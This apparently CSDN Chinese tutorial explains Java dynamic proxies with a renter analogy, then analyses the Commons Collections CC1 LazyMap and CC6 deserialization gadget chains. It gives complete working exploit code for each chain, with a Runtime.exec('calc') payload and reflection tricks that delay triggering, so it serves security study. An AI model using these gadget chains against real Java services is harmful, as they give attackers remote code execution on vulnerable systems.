Java动态代理+CC1Lmap+CC6

Java动态代理

代理是 Java 中的一种设计模式,主要用于提供对目标对象另外的访问方式,即通过代理对象访问目标对象。这样,就可以在目标对象实现的基础上,加强额外的功能操作,实现扩展目标对象的功能。生活中有很多这样的例子,例如:租客找中介租房子,海外留学找留学机构等,专业的事情找专业的人去做解决顾客大部分烦恼。代理也是通过反射所实现的一种方式,代理分为 静态代理、动态代理、CGLib代理,下面对这三种代理模式进行简单的分析。

静态代理

自己写一个代理,通过代理访问接口,代理也可以增强功能。

在这里插入图片描述

代码简单实现:

租房服务

实现一个接口,相当于租房服务,租客和中介都知道有这个服务

public interface person {

    void rentHouse();
//    void buy();
}

租客

租客也了解这个服务

public class Renter implements person{
    @Override
    public void rentHouse() {
        System.out.println("租客租房成功!");

    }

中介

租客为了满足自己的需求,需要找专业的中介,通过构造方法来获取租客(被代理类)对象并调用方法。

public class RenterProxy implements person{
    private final person renter;
    public RenterProxy(person renter){  // 获取租客对象
        this.renter = renter;
    }

    @Override
    public void rentHouse() {
        sublet();
        renter.rentHouse();
        rent();
    }
    public void sublet(){  // 中介的独特技能,功能增强

        System.out.println("中介找房东租房,转租给租客!");
    }

    public void rent(){    // 中介的独特技能,功能增强

        System.out.println("中介给租客钥匙,租客入住!");

    }

main

public class Test {

    public static void main(String[] args) {
        person renter = new Renter();
        RenterProxy proxy = new RenterProxy(renter);
//        proxy.buy();
        proxy.rentHouse();

    }

在这里插入图片描述

为什么需要使用动态代理?

public interface person {

    void rentHouse();
    void buy();
    void exitrent();
    void sen();
}

如果我们的接口需要实现很多方法,那么我们对应的也要修改中介(代理类)和租客(被代理类)的实现,必须要重写接口增加的其他方法,这样就会显得很臃肿,所以引入动态代理。

动态代理

租房服务

实现一个接口,相当于租房服务,租客和中介都知道有这个服务

public interface person {

    void rentHouse();
    void buy();  // 新增方法
}

租客

租客也了解这个服务

public class Renter implements person{
    @Override
    public void rentHouse() {
        System.out.println("租客租房成功!");

    }
    // 重写新的方法
    @Override
    public void buy() {
        System.out.println("购买房间成功");
    }    

中介

租客为了满足自己的需求,需要找专业的中介,这里的中介换成了系统提供的RenterInvocationHandler通过重写invoke的方法来实现反射调用租客(被代理类)的方法,就不用去重写接口方法。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class RenterInvocationHandler<P> implements InvocationHandler {
    private person target;

    public RenterInvocationHandler(person target){
        this.target = target;
    }

    /**
     * proxy:代表动态代理对象
     * method:代表正在执行的方法
     * args:代表调用目标方法时传入的实参
     */
    @Override
    public Object invoke(Object proxy, Method method, Object[] args)
            throws Throwable {
        //代理过程中插入其他操作
        System.out.println("租客和中介交流");
        Object result = method.invoke(target, args);
        return result;
    }

}

main

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {

    public static void main(String[] args) {

        //创建被代理的实例对象
        person renter = new Renter();
        //创建InvocationHandler对象
        InvocationHandler renterHandler = new RenterInvocationHandler<person>(renter);
        Class<person> personClass = person.class;

        //创建代理对象,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
        person renterProxy = (person) Proxy.newProxyInstance(person.class.getClassLoader(),new Class<?>[]{person.class}, renterHandler);
        renterProxy.rentHouse();
//        renterProxy.buy();

可以发现在中介这一部分不需要去重写接口的方法,而是让顾客(被代理类)去实现然后反射调用方法,减少冗余,其中newProxyInstance就是创建代理的过程。

CC1_LazyMap and CC6 利用链

CC1_LazyMap

之前反推了CC1的Transformedmap这条链,在反推到谁调用了transform()方法的时候,我们选择了用Transformedmap,其实官方选用的是LazyMap这个链,接下来我们就简单分析一下。

在这里插入图片描述

LazyMap的get方法调用了transform方法,接下来就要考虑是谁调用了get方法,根据官方的利用链来看:

代码实现

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

package Java_deserialization;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1_LazyMap {
    public static void main(String[] args) throws ClassNotFoundException,
            InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchMethodException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        //这里使用lazymap
        Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationconstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationconstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap); 
        Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);  // 通过代理调用 set方法
        Object o = annotationconstructor.newInstance(Override.class, mapProxy);
//        serialize(o);
        unserialize("se.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

简要分析

后半段利用链还是不变,通过transform来触发恶意代码,只是前半段变化了。

// 换成了LazyMap
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
// 使用动态代理进入invoke方法
InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);  
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

反序列化触发readObject,然后readObject方法调用Map(Proxy).entrySet():

在这里插入图片描述

其中memberValues是可控的,然后使用动态代理进入invoke方法,这里的invoke方法其实是有两个判断的,第一个就是调用equals方法会直接返回,第二个是调用有参方法也走不到下面get方法去,那就需要考虑readObject方法里面有没有一个无参的方法,非常巧合这里有一个entrySet()方法:
在这里插入图片描述

最后进入LazyMap.get()方法:

在这里插入图片描述

这一条攻击链就使用了动态代理,可以帮助我们理解动态代理的妙用。

LazyMap动态代理浅析

查看newProxyInstance():

在这里插入图片描述

InvocationHandler h = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
Object mapProxy = Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h); //动态代理

第一个参数LazyMap.class.getClassLoader()相当于我们之前提到的租房服务(),第三个参数h就是中介(代理)

在这里插入图片描述

跟我们之前写的中介是一样的,当我们readObject方法调用map.entrySet()时就会触发invoke进入invoke以后因为调用的是无参构造所以可以绕过两个if判断,调用LazyMap的同名方法get。

Jdk1.7以后修复了这条链:

在这里插入图片描述

CC6利用链(没有jdk限制)

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"abc");
        lazymap.remove("key");
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("se.bin");
    }



    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("se.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

CC6利用链在CC1的基础上同样使用了LazyMap.get()方法来触发,只不过在AnnotationInvocationHandler修复以后就不能通过动态代理来直接调用他的get方法了。CC6使用了URLDNS这条链的方法,通过hashmap来作为触发点,因为之前在URLDNS这条链也说了hashmap类型宽泛,可以反序列化,重写readObject方法。

在这里插入图片描述

第二步key传入TiedMapEntry,然后来调用它的同名方法:

在这里插入图片描述

第三步:

在这里插入图片描述

第四步就是实例化TiedMapEntry的时候放入LazyMap,然后就实现了调用LazyMap.get()方法,就跟CC1是一样的了。

在这里插入图片描述

问题

要使用HashMap作为入口,那么在序列化put的时候就肯定会调用hash方法,那么在序列化的时候就会执行恶意代码,显然这不是我们希望的结果:

在这里插入图片描述

在这里插入图片描述

遇到的问题跟URLDNS是一样的,需要通过反射来更改他的值,至于更改谁这里有很多的选择,我们这里选择LazyMap.get的时候不放入我们的tranform利用方法,随便让他执行一个没用的方法,只要保证在put的时候不执行就可以了,然后等put执行完以后我们在通过反射传入我们的transform恶意链。

//通过反射在传入我们的恶意方法
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

但是在反序列化的时候我们的恶意代码还是没有执行,通过调试发现在put的时候LazyMap的key就已经被指定了,导致我们反射传入的key没有执行,所以我们在put完以后也要删除我们传入的key值。

在这里插入图片描述

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"abc");
lazymap.remove("key");  // 删除key

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值